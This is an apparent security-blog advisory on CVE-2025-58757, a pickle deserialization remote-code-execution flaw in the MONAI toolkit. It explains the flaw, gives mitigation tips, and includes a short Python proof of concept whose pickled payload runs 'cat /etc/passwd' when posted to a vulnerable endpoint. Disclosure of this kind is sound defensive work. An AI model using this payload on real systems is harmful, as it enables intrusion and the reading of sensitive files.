Ameeba Security Research

Defensive CVE and exploit intelligence

Ameeba Blog Search
TRENDING · 1 WEEK
Attack Vector
Vendor
Severity

CVE-2025-58757: Remote Code Execution Vulnerability in MONAI AI Toolkit

Overview

The CVE-2025-58757 vulnerability is a severe security flaw that affects the MONAI AI toolkit, widely used in healthcare imaging applications. This vulnerability has the potential to enable remote code execution, posing a significant risk to any system running MONAI versions up to and including 1.5.0. The ability to execute arbitrary code on a targeted system could lead to significant consequences, such as unauthorized system access, data theft, or even full system compromise. This issue is of particular concern since MONAI is widely used in the healthcare industry where data privacy and security are paramount.

Vulnerability Summary

CVE ID: CVE-2025-58757
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Remote Code Execution, potential system compromise or data leakage

Affected Products

Ameeba Chat Icon Share secrets securely

Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.

Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.

  • • Encrypted identity
  • • Private Spaces for organizations and teams
  • • End-to-end encrypted chat, calls, files, and notes
  • • Sensitive AI work and protected collaboration
  • • Built for information that cannot leak

Our mission is to secure human work alongside AI.

Product | Affected Versions

MONAI | Up to and including 1.5.0

How the Exploit Works

The vulnerability exploits the `pickle_operations` function in `monai/data/utils.py`. If a dictionary key-value pair is received that ends with a specific suffix, the function automatically deserializes it using `pickle.loads()`. Since the function lacks any security measures, an attacker can send malicious data that, when deserialized, may execute arbitrary code on the target system.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. An attacker could send a specially crafted payload to a vulnerable endpoint:

import requests
import pickle
import os
# Create a serialized malicious payload using pickle
class Exploit(object):
def __reduce__(self):
return (os.system, ('cat /etc/passwd',))
malicious_payload = pickle.dumps(Exploit())
# Send the malicious payload to the vulnerable endpoint
response = requests.post('http://target.example.com/vulnerable/endpoint', data=malicious_payload)

In this example, the malicious payload, when deserialized, would execute `os.system(‘cat /etc/passwd’)` on the target system, leaking sensitive information.

Mitigation Guidance

Until a patch is released by the vendor, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help mitigate this vulnerability by detecting and blocking malicious payloads. It’s also recommended to restrict network access to the affected systems and regularly monitor the activity logs for any unusual behavior.

Want to discuss this further? Join the Ameeba Cybersecurity Group Chat.

Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.
Ameeba Chat